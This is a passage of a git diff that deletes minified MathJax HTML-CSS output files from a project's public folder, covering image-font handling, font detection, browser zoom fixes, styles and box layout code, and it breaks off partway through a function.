-(function(b,c,a){var d="1.1";b.Register.LoadHook(c.fontDir+"/fontdata.js",function(){c.Augment({allowWebFonts:false,imgDir:c.webfontDir+"/png",imgPacked:(MathJax.isPacked?"":"/unpacked"),imgSize:["050","060","071","085",100,120,141,168,200,238,283,336,400,476],imgBaseIndex:4,imgSizeForEm:{},imgSizeForScale:{},imgZoom:1,handleImg:function(t,i,r,h,u){if(u.length){this.addText(t,u)}var s=r[5].orig;if(!s){s=r[5].orig=[r[0],r[1],r[2],r[3],r[4]]}var m=this.imgZoom;if(!t.scale){t.scale=1}var p=this.imgIndex(t.scale*m);if(p==this.imgEmWidth.length-1&&this.em*t.scale*m/this.imgEmWidth[p]>1.1){m=this.imgEmWidth[p]/(this.em*t.scale)}var q=this.imgEmWidth[p]/(this.em*(t.scale||1)*m);r[0]=s[0]*q;r[1]=s[1]*q;r[2]=s[2]*q;r[3]=s[3]*q;r[4]=s[4]*q;var k=this.imgDir+"/"+i.directory+"/"+this.imgSize[p];var l=h.toString(16).toUpperCase();while(l.length<4){l="0"+l}var j=k+"/"+l+".png";var o=r[5].img[p];var g={width:Math.floor(o[0]/m+0.5)+"px",height:Math.floor(o[1]/m+0.5)+"px"};if(o[2]){g.verticalAlign=Math.floor(-o[2]/m+0.5)+"px"}if(r[3]<0){g.marginLeft=this.Em(r[3]/1000)}if(r[4]!=r[2]){g.marginRight=this.Em((r[2]-r[4])/1000)}if(this.msieIE6){g.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+a.fileURL(j)+"', sizingMethod='scale')";j=this.directory+"/blank.gif"}this.addElement(t,"img",{src:a.fileURL(j),style:g});return""},defineImageData:function(i){for(var g in i){if(i.hasOwnProperty(g)){var h=c.FONTDATA.FONTS[g];if(h){g=i[g];for(var j in g){if(g.hasOwnProperty(j)&&h[j]){h[j][5]={img:g[j]}}}}}}},initImg:function(j){if(this.imgSizeForEm[this.em]){this.imgBaseIndex=this.imgSizeForEm[this.em]}for(var h=0,g=this.imgEmWidth.length-1;h<g;h++){if(this.em<=this.imgEmWidth[h]){break}}if(h&&this.imgEmWidth[h]-this.em>this.em-this.imgEmWidth[h-1]){h--}this.imgSizeForEm[this.em]=this.imgBaseIndex=h;this.imgZoom=this.imgBrowserZoom()},imgIndex:function(k){if(!k){return this.imgBaseIndex}if(!this.imgSizeForScale[this.em]){this.imgSizeForScale[this.em]={}}if(this.imgSizeForScale[this.em][k]){return this.imgSizeForScale[this.em][k]}var j=this.em*k;for(var h=0,g=this.imgEmWidth.length-1;h<g;h++){if(j<=this.imgEmWidth[h]){break}}if(h&&this.imgEmWidth[h]-j>j-this.imgEmWidth[h-1]){h--}this.imgSizeForScale[this.em][k]=h;return h},imgBrowserZoom:function(){return 1}});b.Browser.Select({Firefox:function(h){var g=c.addElement(document.body,"div",{style:{display:"none",visibility:"hidden",overflow:"scroll",position:"absolute",top:0,left:0,width:"200px",height:"200px",padding:0,border:0,margin:0}});var i=c.addElement(g,"div",{style:{position:"absolute",left:0,top:0,right:0,bottom:0,padding:0,border:0,margin:0}});c.Augment({imgSpaceBug:true,imgSpace:String.fromCharCode(160),imgZoomLevel:(h.isMac?{50:0.3,30:0.5,22:0.67,19:0.8,16:0.9,15:1,13:1.1,12:1.2,11:1.33,10:1.5,9:1.7,7:2,6:2.4,5:3,0:15}:{56:0.3,34:0.5,25:0.67,21:0.8,19:0.9,17:1,15:1.1,14:1.2,13:1.33,11:1.5,10:1.7,8:2,7:2.4,6:3,0:17}),imgZoomDiv:g,imgBrowserZoom:function(){var j=this.imgZoomLevel;g.style.display="";var k=(g.offsetWidth-i.offsetWidth);k=(j[k]?j[k]:j[0]/k);g.style.display="none";return k}})},Safari:function(g){c.Augment({imgBrowserZoom:function(){return 3}})},Chrome:function(g){c.Augment({imgHeightBug:true,imgBrowserZoom:function(){return 3}})},Opera:function(g){c.Augment({imgSpaceBug:true,imgSpace:String.fromCharCode(160)+String.fromCharCode(160),imgDoc:(document.compatMode=="BackCompat"?document.body:document.documentElement),imgBrowserZoom:function(){if(g.isMac){return 3}var h=this.imgDoc.clientHeight,i=Math.floor(15*h/window.innerHeight);if(this.imgDoc.clientWidth<this.imgDoc.scrollWidth-i){h+=i}return parseFloat((window.innerHeight/h).toFixed(1))}})}});var f=function(){var h=c.FONTDATA.FONTS.MathJax_Main[8212][5].img;c.imgEmWidth=[];for(var j=0,g=h.length;j<g;j++){c.imgEmWidth[j]=h[j][0]}};var e=c.imgDir+c.imgPacked;MathJax.Callback.Queue(["Require",a,e+"/imagedata.js"],f,["loadComplete",a,c.directory+"/imageFonts.js"])})})(MathJax.Hub,MathJax.OutputJax["HTML-CSS"],MathJax.Ajax);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/jax.js b/public/MathJax/jax/output/HTML-CSS/jax.js
deleted file mode 100644
index a08b6413..00000000
--- a/public/MathJax/jax/output/HTML-CSS/jax.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/jax.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(c,d,e){var a;var b=MathJax.Object.Subclass({timeout:5*1000,FontInfo:{STIX:{family:"STIXSizeOneSym",testString:"() {} []"},TeX:{family:"MathJax_Size1",testString:"() {} []"}},comparisonFont:["sans-serif","monospace","script","Times","Courier","Arial","Helvetica"],testSize:["40px","50px","60px","30px","20px"],Init:function(){this.div=MathJax.HTML.addElement(document.body,"div",{style:{position:"absolute",visibility:"hidden",top:0,left:0,width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal",fontSize:this.testSize[0],fontWeight:"normal",fontStyle:"normal"}},[""]);this.text=this.div.firstChild},findFont:function(j,g){if(g&&this.testCollection(g)){return g}for(var h=0,f=j.length;h<f;h++){if(j[h]===g){continue}if(this.testCollection(j[h])){return j[h]}}return null},testCollection:function(f){return this.testFont(this.FontInfo[f])},testFont:function(h){if(h.isWebFont&&e.FontFaceBug){this.div.style.fontWeight=this.div.style.fontStyle="normal"}else{this.div.style.fontWeight=(h.weight||"normal");this.div.style.fontStyle=(h.style||"normal")}var g=this.getComparisonWidths(h.testString,h.noStyleChar);if(g){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[0];if(this.div.offsetWidth==g[0]){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[g[2]];if(this.div.offsetWidth==g[1]){return false}}if(this.div.offsetWidth!=g[3]){if(h.noStyleChar||!e.FONTDATA||!e.FONTDATA.hasStyleChar){return true}for(var j=0,f=this.testSize.length;j<f;j++){if(this.testStyleChar(h,this.testSize[j])){return true}}}}return false},styleChar:String.fromCharCode(61437),versionChar:String.fromCharCode(61438),compChar:String.fromCharCode(61439),testStyleChar:function(h,j){var m=3+(h.weight?2:0)+(h.style?4:0);var g="",i=0;var l=this.div.style.fontSize;this.div.style.fontSize=j;if(e.msieItalicWidthBug&&h.style==="italic"){this.text.nodeValue=g=this.compChar;i=this.div.offsetWidth}if(e.safariTextNodeBug){this.div.innerHTML=this.compChar+g}else{this.text.nodeValue=this.compChar+g}var f=this.div.offsetWidth-i;if(e.safariTextNodeBug){this.div.innerHTML=this.styleChar+g}else{this.text.nodeValue=this.styleChar+g}var k=Math.floor((this.div.offsetWidth-i)/f+0.5);if(k===m){if(e.safariTextNodeBug){this.div.innerHTML=this.versionChar+g}else{this.text.nodeValue=this.versionChar+g}h.version=Math.floor((this.div.offsetWidth-i)/f+1.5)/2}this.div.style.fontSize=l;return(k===m)},getComparisonWidths:function(j,h){if(e.FONTDATA&&e.FONTDATA.hasStyleChar&&!h){j+=this.styleChar+" "+this.compChar}if(e.safariTextNodeBug){this.div.innerHTML=j}else{this.text.nodeValue=j}this.div.style.fontFamily=this.comparisonFont[0];var g=this.div.offsetWidth,l=-1;if(e.safariWebFontSerif){this.div.style.fontFamily=e.safariWebFontSerif[0];l=this.div.offsetWidth}for(var k=1,f=this.comparisonFont.length;k<f;k++){this.div.style.fontFamily=this.comparisonFont[k];if(this.div.offsetWidth!=g){return[g,this.div.offsetWidth,k,l]}}return null},loadWebFont:function(g){d.Startup.signal.Post("HTML-CSS Jax - Web-Font "+e.fontInUse+"/"+g.directory);var i=MathJax.Message.File("Web-Font "+e.fontInUse+"/"+g.directory);var f=MathJax.Callback({});var h=MathJax.Callback(["loadComplete",this,g,i,f]);c.timer.start(c,[this.checkWebFont,g,h],1,this.timeout);return f},loadComplete:function(h,j,g,f){MathJax.Message.Clear(j);if(f===c.STATUS.OK){g();return}this.loadError(h);if(d.Browser.isFirefox&&e.allowWebFonts){var i=document.location.protocol+"//"+document.location.hostname;if(document.location.port!=""){i+=":"+document.location.port}i+="/";if(c.fileURL(e.webfontDir).substr(0,i.length)!==i){this.firefoxFontError(h)}}e.loadWebFontError(h,g)},loadError:function(f){MathJax.Message.Set("Can't load web font "+e.fontInUse+"/"+f.directory,null,2000)},firefoxFontError:function(f){MathJax.Message.Set("Firefox can't load web fonts from a remote host",null,3000)},checkWebFont:function(f,g,h){if(f.time(h)){return}if(e.Font.testFont(g)){h(f.STATUS.OK)}else{setTimeout(f,f.delay)}},fontFace:function(h){var i=e.allowWebFonts;var k=e.FONTDATA.FONTS[h];if(e.msieFontCSSBug&&!k.family.match(/-Web$/)){k.family+="-Web"}var g=c.fileURL(e.webfontDir+"/"+i);var f=h.replace(/-b/,"-B").replace(/-i/,"-I").replace(/-Bold-/,"-Bold");if(!f.match(/-/)){f+="-Regular"}if(i==="svg"){f+=".svg#"+f}else{f+="."+i}var j={"font-family":k.family,src:"url('"+g+"/"+f+"')"};if(i==="svg"){j.src+=" format('svg')"}if(!(e.FontFaceBug&&k.isWebFont)){if(h.match(/-bold/)){j["font-weight"]="bold"}if(h.match(/-italic/)){j["font-style"]="italic"}}return j}});e.Augment({config:{styles:{".MathJax":{display:"inline","font-family":"serif","font-style":"normal","font-weight":"normal","line-height":"normal","font-size":"100%","font-size-adjust":"none","text-indent":0,"text-align":"left","text-transform":"none","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none",direction:"ltr",border:0,padding:0,margin:0},".MathJax_Display":{position:"relative",display:"block",width:"100%"},".MathJax img, .MathJax nobr, .MathJax a":{border:0,padding:0,margin:0,"max-width":"none","max-height":"none","vertical-align":0,"line-height":"normal","text-decoration":"none"},"img.MathJax_strut":{border:"0 !important",padding:"0 !important",margin:"0 !important","vertical-align":"0 !important"},".MathJax span":{display:"inline",position:"static",border:0,padding:0,margin:0,"vertical-align":0,"line-height":"normal","text-decoration":"none"},".MathJax nobr":{"white-space":"nowrap"},".MathJax img":{display:"inline ! important"},".MathJax_Processing":{visibility:"hidden",position:"fixed",width:0,height:0,overflow:"hidden"},".MathJax .MathJax_HitBox":{cursor:"text"},"#MathJax_Tooltip":{position:"absolute",left:0,top:0,width:"auto",height:"auto",display:"none"},"#MathJax_Tooltip *":{filter:"none",background:"transparent"}}},settings:d.config.menuSettings,LEFTBUTTON:(d.Browser.isMSIE?1:0),MENUKEY:"altKey",Font:null,Config:function(){this.Font=b();this.SUPER(arguments).Config.call(this);var g=this.settings;if(this.adjustAvailableFonts){this.adjustAvailableFonts(this.config.availableFonts)}if(g.scale){this.config.scale=g.scale}if(g.font&&g.font!=="Auto"){if(g.font==="TeX (local)"){this.config.availableFonts=["TeX"];this.config.preferredFont="TeX";this.config.webFont="TeX"}else{if(g.font==="STIX (local)"){this.config.availableFonts=["STIX"];this.config.preferredFont="STIX";this.config.webFont="TeX"}else{if(g.font==="TeX (web)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont="TeX"}else{if(g.font==="TeX (image)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont=""}}}}}var f=this.Font.findFont(this.config.availableFonts,this.config.preferredFont);if(!f&&this.allowWebFonts){f=this.config.webFont;if(f){this.webFonts=true}}if(!f&&this.config.imageFont){f=this.config.imageFont;this.imgFonts=true}if(f){this.fontInUse=f;this.fontDir+="/"+f;this.webfontDir+="/"+f;if(!this.require){this.require=[]}this.require.push(this.fontDir+"/fontdata.js");if(this.imgFonts){this.require.push(this.directory+"/imageFonts.js");d.Startup.signal.Post("HTML-CSS Jax - using image fonts")}}else{MathJax.Message.Set("Can't find a valid font using ["+this.config.availableFonts.join(", ")+"]",null,3000);this.FONTDATA={TeX_factor:1,baselineskip:1.2,lineH:0.8,lineD:0.2,ffLineH:0.8,FONTS:{},VARIANT:{normal:{fonts:[]}},RANGES:[],DELIMITERS:{},RULECHAR:45,REMAP:{}};if(MathJax.InputJax.TeX&&MathJax.InputJax.TeX.Definitions){MathJax.InputJax.TeX.Definitions.macros.overline[1]="002D";MathJax.InputJax.TeX.Definitions.macros.underline[1]="002D"}d.Startup.signal.Post("HTML-CSS Jax - no valid font")}},Startup:function(){var h=[],l=this.FONTDATA.VARIANT.normal.fonts;if(!(l instanceof Array)){l=[l]}for(var g=0,f=l.length;g<f;g++){h[g]=this.FONTDATA.FONTS[l[g]].family;if(!h[g]){h[g]=l[g]}}this.config.styles[".MathJax .math span"]=this.config.styles["#MathJax_getScales"]={"font-family":h.join(",")};this.hiddenDiv=this.Element("div",{style:{visibility:"hidden",overflow:"hidden",position:"absolute",top:0,height:"1px",width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal"}});if(!document.body.firstChild){document.body.appendChild(this.hiddenDiv)}else{document.body.insertBefore(this.hiddenDiv,document.body.firstChild)}this.hiddenDiv=this.addElement(this.hiddenDiv,"div",{id:"MathJax_Hidden"});var k=this.addElement(this.hiddenDiv,"div",{style:{width:"5in"}});this.pxPerInch=k.offsetWidth/5;this.hiddenDiv.removeChild(k);this.startMarker=e.createStrut(this.Element("span"),10,true);this.endMarker=this.addText(this.Element("span"),"x").parentNode;this.HDspan=this.Element("span");if(this.operaHeightBug){this.createStrut(this.HDspan,0)}if(this.msieInlineBlockAlignBug){this.HDimg=this.addElement(this.HDspan,"img",{style:{height:"0px",width:"1px"}});try{this.HDimg.src="about:blank"}catch(j){}}else{this.HDimg=e.createStrut(this.HDspan,0)}this.HDMspan=this.Element("span",{style:{position:"absolute","font-size-adjust":"none"}});if(this.msieInlineBlockAlignBug){this.HDMimg=this.addElement(this.HDMspan,"img",{style:{height:"0px",width:"1px","max-width":"none","max-height":"none",border:0,padding:0,margin:0}});try{this.HDMimg.src="about:blank"}catch(j){}}else{this.HDMimg=e.createStrut(this.HDMspan,0);this.HDMimg.style.marginRight=""}this.marginCheck=e.Element("span",null,[["span",{style:{display:"inline-block",width:"5em"}}]]);this.marginMove=e.addElement(this.marginCheck,"span",{style:{display:"inline-block",width:"5em",marginLeft:"-5em"}});return c.Styles(this.config.styles,["PreloadWebFonts",this])},PreloadWebFonts:function(){if(!e.allowWebFonts||!e.config.preloadWebFonts){return}for(var g=0,f=e.config.preloadWebFonts.length;g<f;g++){var h=e.FONTDATA.FONTS[e.config.preloadWebFonts[g]];if(!h.available){e.Font.testFont(h)}}},Translate:function(l){if(!l.parentNode){return}var j=l.previousSibling;if(j&&String(j.className).match(/^MathJax(_MathML|_Display)?$/)){j.parentNode.removeChild(j)}var m=l.MathJax.elementJax.root,n,f,h;n=f=h=this.Element("span",{className:"MathJax",oncontextmenu:this.ContextMenu,onmousedown:this.Mousedown,onmouseover:this.Mouseover,onclick:this.Click,ondblclick:this.DblClick});var i=(m.Get("display")==="block");if(i){f=h=this.Element("div",{className:"MathJax_Display",style:{width:"100%",position:"relative"}});f.appendChild(n)}f.setAttribute("role","textbox");f.setAttribute("aria-readonly","true");if(this.useProcessingFrame){h=this.Element((i?"div":"span"),{className:"MathJax_Processing"});h.appendChild(f)}l.parentNode.insertBefore(h,l);var g;try{this.getScales(n);g=(this.em===0||String(this.em)==="NaN")}catch(k){g=true}if(g){this.hiddenDiv.appendChild(h);this.getScales(n)}this.initImg(n);this.initHTML(m,n);m.setTeXclass();try{m.toHTML(n,f)}catch(k){if(k.restart){h.parentNode.removeChild(h)}throw k}if(g){l.parentNode.insertBefore(h,l)}if(this.useProcessingFrame){h.parentNode.replaceChild(f,h)}},ContextMenu:function(i,j){if(e.config.showMathMenu&&(e.settings.context==="MathJax"||j)){if(e.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||e.msieEventBug){i=window.event}var f=MathJax.Menu;if(f){var h=(this.parentNode.className==="MathJax_Display"?this.parentNode:this);f.jax=d.getJaxFor(h.nextSibling);f.menu.items[1].menu.items[1].name=(f.jax.inputJax.id==="MathML"?"Original":f.jax.inputJax.id);return f.menu.Post(i)}else{if(!c.loadingMathMenu){c.loadingMathMenu=true;var g={pageX:i.pageX,pageY:i.pageY,clientX:i.clientX,clientY:i.clientY};MathJax.Callback.Queue(c.Require("[MathJax]/extensions/MathMenu.js"),function(){delete c.loadingMathMenu},[this,arguments.callee,g,j])}if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false}}},Mousedown:function(f){if(e.config.showMathMenu){if(!f){f=window.event}if(e.settings.context==="MathJax"){if(!e.noContextMenuBug||f.button!==2){return}}else{if(!f[e.MENUKEY]||f.button!==e.LEFTBUTTON){return}}return e.ContextMenu.call(this,f,true)}},Mouseover:function(f){e.HandleEvent(f,"Mouseover",this)},Click:function(f){e.HandleEvent(f,"Click",this)},DblClick:function(f){e.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},initImg:function(f){},initHTML:function(g,f){},initFont:function(f){var h=e.FONTDATA.FONTS,g=e.config.availableFonts;if(g&&g.length&&e.Font.testFont(h[f])){h[f].available=true;return null}if(!this.allowWebFonts){return null}h[f].isWebFont=true;if(e.FontFaceBug){h[f].family=f;if(e.msieFontCSSBug){h[f].family+="-Web"}}return c.Styles({"@font-face":this.Font.fontFace(f)})},Remove:function(f){var g=f.SourceElement();if(!g){return}g=g.previousSibling;if(!g){return}if(g.className.match(/^MathJax/)){g.parentNode.removeChild(g)}},getScales:function(h){h.parentNode.insertBefore(this.HDMspan,h);this.HDMspan.className="";this.HDMspan.id="";this.HDMspan.style.fontSize="";this.HDMimg.style.height="1px";this.HDMimg.style.width="60ex";var g=this.HDMspan.offsetWidth/60;this.HDMspan.className="MathJax";this.HDMspan.id="MathJax_getScales";this.HDMimg.style.width="60em";var f=this.outerEm=this.HDMspan.offsetWidth/60;this.scale=Math.floor(Math.max(this.config.minScaleAdjust/100,(g/this.TeX.x_height)/f)*this.config.scale);h.style.fontSize=this.HDMspan.style.fontSize=this.scale+"%";this.em=a.mbase.prototype.em=this.HDMspan.offsetWidth/60;if(this.operaFontSizeBug&&f===this.em&&this.scale!==100){this.em=a.mbase.prototype.em=f*this.scale/100}h.parentNode.removeChild(this.HDMspan);this.msieMarginScale=this.getMarginScale(h)},getMarginScale:function(f){return 1},getMSIEmarginScale:function(h){h.appendChild(this.marginCheck);var f=this.marginCheck.offsetWidth,g=this.marginMove.offsetWidth;var i=(2*g-f?g/(2*g-f):1);h.removeChild(this.marginCheck);return i},getHD:function(g){var f=g.style.position;g.style.position="absolute";this.HDimg.style.height="0px";g.appendChild(this.HDspan);var h={h:g.offsetHeight};this.HDimg.style.height=h.h+"px";h.d=g.offsetHeight-h.h;h.h-=h.d;h.h/=this.em;h.d/=this.em;g.removeChild(this.HDspan);g.style.position=f;return h},getW:function(i){var g=i.offsetWidth,h=(i.bbox?i.bbox.w:-1),j=i;if((h<0||this.negativeSkipBug)&&g>=0){if(this.negativeSkipBug){var f=i.style.position;i.style.position="absolute";j=this.startMarker;if(i.firstChild){i.insertBefore(j,i.firstChild)}else{i.appendChild(j)}j=this.startMarker}i.appendChild(this.endMarker);g=this.endMarker.offsetLeft-j.offsetLeft;i.removeChild(this.endMarker);if(this.negativeSkipBug){i.removeChild(j);i.style.position=f}}return g/this.em},Measured:function(h,g){if(h.bbox.width==null&&h.bbox.w&&!h.bbox.isMultiline){var f=this.getW(h);h.bbox.rw+=f-h.bbox.w;h.bbox.w=f}if(!g){g=h.parentNode}if(!g.bbox){g.bbox=h.bbox}return h},Remeasured:function(g,f){f.bbox=this.Measured(g,f).bbox},Em:function(f){if(Math.abs(f)<0.0006){return"0em"}return f.toFixed(3).replace(/\.?0+$/,"")+"em"},Percent:function(f){return(100*f).toFixed(1).replace(/\.?0+$/,"")+"%"},length2percent:function(f){return this.Percent(this.length2em(f))},length2em:function(k,i){if(typeof(k)!=="string"){k=k.toString()}if(k===""){return""}if(k===a.SIZE.NORMAL){return 1}if(k===a.SIZE.BIG){return 2}if(k===a.SIZE.SMALL){return 0.71}if(k==="infinity"){return e.BIGDIMEN}var h=this.FONTDATA.TeX_factor;if(k.match(/mathspace$/)){return e.MATHSPACE[k]*h}var g=k.match(/^\s*([-+]?(?:\.\d+|\d+(?:\.\d*)?))?(pt|em|ex|mu|px|pc|in|mm|cm|%)?/);var f=parseFloat(g[1]||"1"),j=g[2];if(i==null){i=1}if(j==="em"){return f*h}if(j==="ex"){return f*e.TeX.x_height*h}if(j==="%"){return f/100*i}if(j==="px"){return f/e.em}if(j==="pt"){return f/10*h}if(j==="pc"){return f*1.2*h}if(j==="in"){return f*this.pxPerInch/e.em}if(j==="cm"){return f*this.pxPerInch/e.em/2.54}if(j==="mm"){return f*this.pxPerInch/e.em/25.4}if(j==="mu"){return f/18*h}return f*h*i},thickness2em:function(f){var g=e.TeX.rule_thickness;if(f===a.LINETHICKNESS.MEDIUM){return g}if(f===a.LINETHICKNESS.THIN){return 0.67*g}if(f===a.LINETHICKNESS.THICK){return 1.67*g}return this.length2em(f,g)},createStrut:function(i,g,j){var f=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:g+"px",width:"1px",marginRight:"-1px"}});if(j){i.insertBefore(f,i.firstChild)}else{i.appendChild(f)}return f},createBlank:function(g,f,h){var i=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:"1px",width:this.Em(f)}});if(h){g.insertBefore(i,g.firstChild)}else{g.appendChild(i)}return i},createShift:function(g,f,i){var h=this.Element("span",{style:{marginLeft:this.Em(f)}});if(i){g.insertBefore(h,g.firstChild)}else{g.appendChild(h)}return h},createSpace:function(k,j,m,f,g){var i=this.Em(Math.max(0,j+m)),l=this.Em(-m);if(this.msieInlineBlockAlignBug){l=this.Em(e.getHD(k.parentNode).d-m)}if(k.isBox||k.className=="mspace"){k.bbox={h:j*k.scale,d:m*k.scale,w:f*k.scale,rw:f*k.scale,lw:0};k.style.height=i;k.style.verticalAlign=l}else{k=this.addElement(k,"span",{style:{height:i,verticalAlign:l}})}if(f>=0){k.style.width=this.Em(f);k.style.display="inline-block"}else{if(this.msieNegativeSpaceBug){k.style.height=""}k.style.marginLeft=this.Em(f);if(e.safariNegativeSpaceBug&&k.parentNode.firstChild==k){this.createBlank(k,0,true)}}if(g&&g!==a.COLOR.TRANSPARENT){k.style.backgroundColor=g}return k},createRule:function(o,k,m,p,i){var j=e.TeX.min_rule_thickness;if(p>0&&p*this.em<j){p=j/this.em}if(k+m>0&&(k+m)*this.em<j){var l=1/(k+m)*(j/this.em);k*=l;m*=l}if(!i){i="solid"}else{i="solid "+i}i=this.Em(p)+" "+i;var q=this.Em(k+m),g=this.Em(-m);var n=this.addElement(o,"span",{style:{borderLeft:i,display:"inline-block",overflow:"hidden",width:0,height:q,verticalAlign:g},bbox:{h:k,d:m,w:p,rw:p,lw:0},noAdjust:true});if(p>0&&n.offsetWidth==0){n.style.width=this.Em(p)}if(o.isBox||o.className=="mspace"){o.bbox=n.bbox}return n},createFrame:function(o,m,n,p,r,g){var l=(this.msieBorderWidthBug?0:2*r);var q=this.Em(m+n-l),f=this.Em(-n-r),k=this.Em(p-l);var i=this.Em(r)+" "+g;var j=this.addElement(o,"span",{style:{border:i,display:"inline-block",overflow:"hidden",width:k,height:q},bbox:{h:m,d:n,w:p,rw:p,lw:0},noAdjust:true});if(f){j.style.verticalAlign=f}return j},createStack:function(h,j,g){if(this.msiePaddingWidthBug){this.createStrut(h,0)}var i=String(g).match(/%$/);var f=(!i&&g!=null?g:0);h=this.addElement(h,"span",{noAdjust:true,style:{display:"inline-block",position:"relative",width:(i?"100%":this.Em(f)),height:0}});if(!j){h.parentNode.bbox=h.bbox={h:-this.BIGDIMEN,d:-this.BIGDIMEN,w:f,lw:this.BIGDIMEN,rw:(!i&&g!=null?g:-this.BIGDIMEN)};if(i){h.bbox.width=g}}return h},createBox:function(g,f){var h=this.addElement(g,"span",{style:{position:"absolute"},isBox:true});if(f!=null){h.style.width=f}return h},addBox:function(f,g){g.style.position="absolute";g.isBox=true;return f.appendChild(g)},placeBox:function(n,m,k,i){var o=n.parentNode,v=n.bbox,q=o.bbox;if(this.msiePlaceBoxBug){this.addText(n,this.NBSP)}if(this.imgSpaceBug){this.addText(n,this.imgSpace)}var p=n.offsetHeight/this.em+1,z=0;if(n.noAdjust){p-=1}else{if(this.msieInlineBlockAlignBug){this.addElement(n,"img",{className:"MathJax_strut",border:0,src:"about:blank",style:{width:0,height:this.Em(p)}})}else{this.addElement(n,"span",{style:{display:"inline-block",width:0,height:this.Em(p)}})}}n.style.top=this.Em(-k-p);n.style.left=this.Em(m+z);if(v){if(this.negativeSkipBug){if(v.lw<0){z=v.lw;e.createBlank(n,-z,true);h=0}if(v.rw>v.w){e.createBlank(n,v.rw-v.w+0.1)}}if(!this.msieClipRectBug&&!v.noclip&&!i){var u=3/this.em;var s=(v.H==null?v.h:v.H),g=(v.D==null?v.d:v.D);var w=p-s-u,j=p+g+u,h=v.lw-3*u,f=1000;if(v.isFixed){f=v.width-h}n.style.clip="rect("+this.Em(w)+" "+this.Em(f)+" "+this.Em(j)+" "+this.Em(h)+")"}}if(v&&q){if(v.H!=null&&(q.H==null||v.H+k>q.H)){q.H=v.H+k}if(v.D!=null&&(q.D==null||v.D-k>q.D)){q.D=v.D-k}if(v.h+k>q.h){q.h=v.h+k}if(v.d-k>q.d){q.d=v.d-k}if(q.H!=null&&q.H<=q.h){delete q.H}if(q.D!=null&&q.D<=q.d){delete q.D}if(v.w+m>q.w){q.w=v.w+m;if(q.width==null){o.style.width=this.Em(q.w)}}if(v.rw+m>q.rw){q.rw=v.rw+m}if(v.lw+m<q.lw){q.lw=v.lw+m}if(v.width!=null&&!v.isFixed){if(q.width==null){o.style.width=q.width="100%"}n.style.width=v.width}}},alignBox:function(h,n,m){this.placeBox(h,0,m);var j=h.bbox;if(j.isMultiline){return}var g=j.width!=null&&!j.isFixed;var i=0,k=-j.w/2,f="50%";if(this.negativeSkipBug){i=j.w-j.rw-0.1;k+=j.lw}k=this.Em(k*this.msieMarginScale);if(g){k="";f=(50-parseFloat(j.width)/2)+"%"}d.Insert(h.style,({right:{left:"",right:this.Em(i)},center:{left:f,marginLeft:k}})[n])},setStackWidth:function(g,f){if(typeof(f)==="number"){g.style.width=this.Em(Math.max(0,f));if(g.bbox){g.bbox.w=f}if(g.parentNode.bbox){g.parentNode.bbox.w=f}}else{g.style.width=g.parentNode.style.width="100%";if(g.bbox){g.bbox.width=f}if(g.parentNode.bbox){g.parentNode.bbox.width=f}}},createDelimiter:function(q,f,h,l,j){if(!f){q.bbox={h:0,d:0,w:this.TeX.nulldelimiterspace,lw:0};q.bbox.rw=q.bbox.w;this.createSpace(q,q.bbox.h,q.bbox.d,q.bbox.w);return}if(!l){l=1}if(!(h instanceof Array)){h=[h,h]}var p=h[1];h=h[0];var g={alias:f};while(g.alias){f=g.alias;g=this.FONTDATA.DELIMITERS[f];if(!g){g={HW:[0,this.FONTDATA.VARIANT[a.VARIANT.NORMAL]]}}}for(var o=0,k=g.HW.length;o<k;o++){if(g.HW[o][0]*l>=h-0.01||(o==k-1&&!g.stretch)){if(g.HW[o][2]){l*=g.HW[o][2]}if(g.HW[o][3]){f=g.HW[o][3]}var n=this.addElement(q,"span");this.createChar(n,[f,g.HW[o][1]],l,j);q.bbox=n.bbox;q.offset=0.65*q.bbox.w;q.scale=l;return}}if(g.stretch){this["extendDelimiter"+g.dir](q,p,g.stretch,l,j)}},extendDelimiterV:function(v,p,A,B,s){var i=this.createStack(v,true);var r=this.createBox(i),q=this.createBox(i);this.createChar(r,(A.top||A.ext),B,s);this.createChar(q,(A.bot||A.ext),B,s);var g={bbox:{w:0,lw:0,rw:0}},z=g,j;var w=r.bbox.h+r.bbox.d+q.bbox.h+q.bbox.d;var m=-r.bbox.h;this.placeBox(r,0,m,true);m-=r.bbox.d;if(A.mid){z=this.createBox(i);this.createChar(z,A.mid,B,s);w+=z.bbox.h+z.bbox.d}if(p>w){g=this.Element("span");this.createChar(g,A.ext,B,s);var x=g.bbox.h+g.bbox.d,f=x-0.05,t,l,u=(A.mid?2:1);l=t=Math.ceil((p-w)/(u*f));if(!A.fullExtenders){f=(p-w)/(u*t)}var 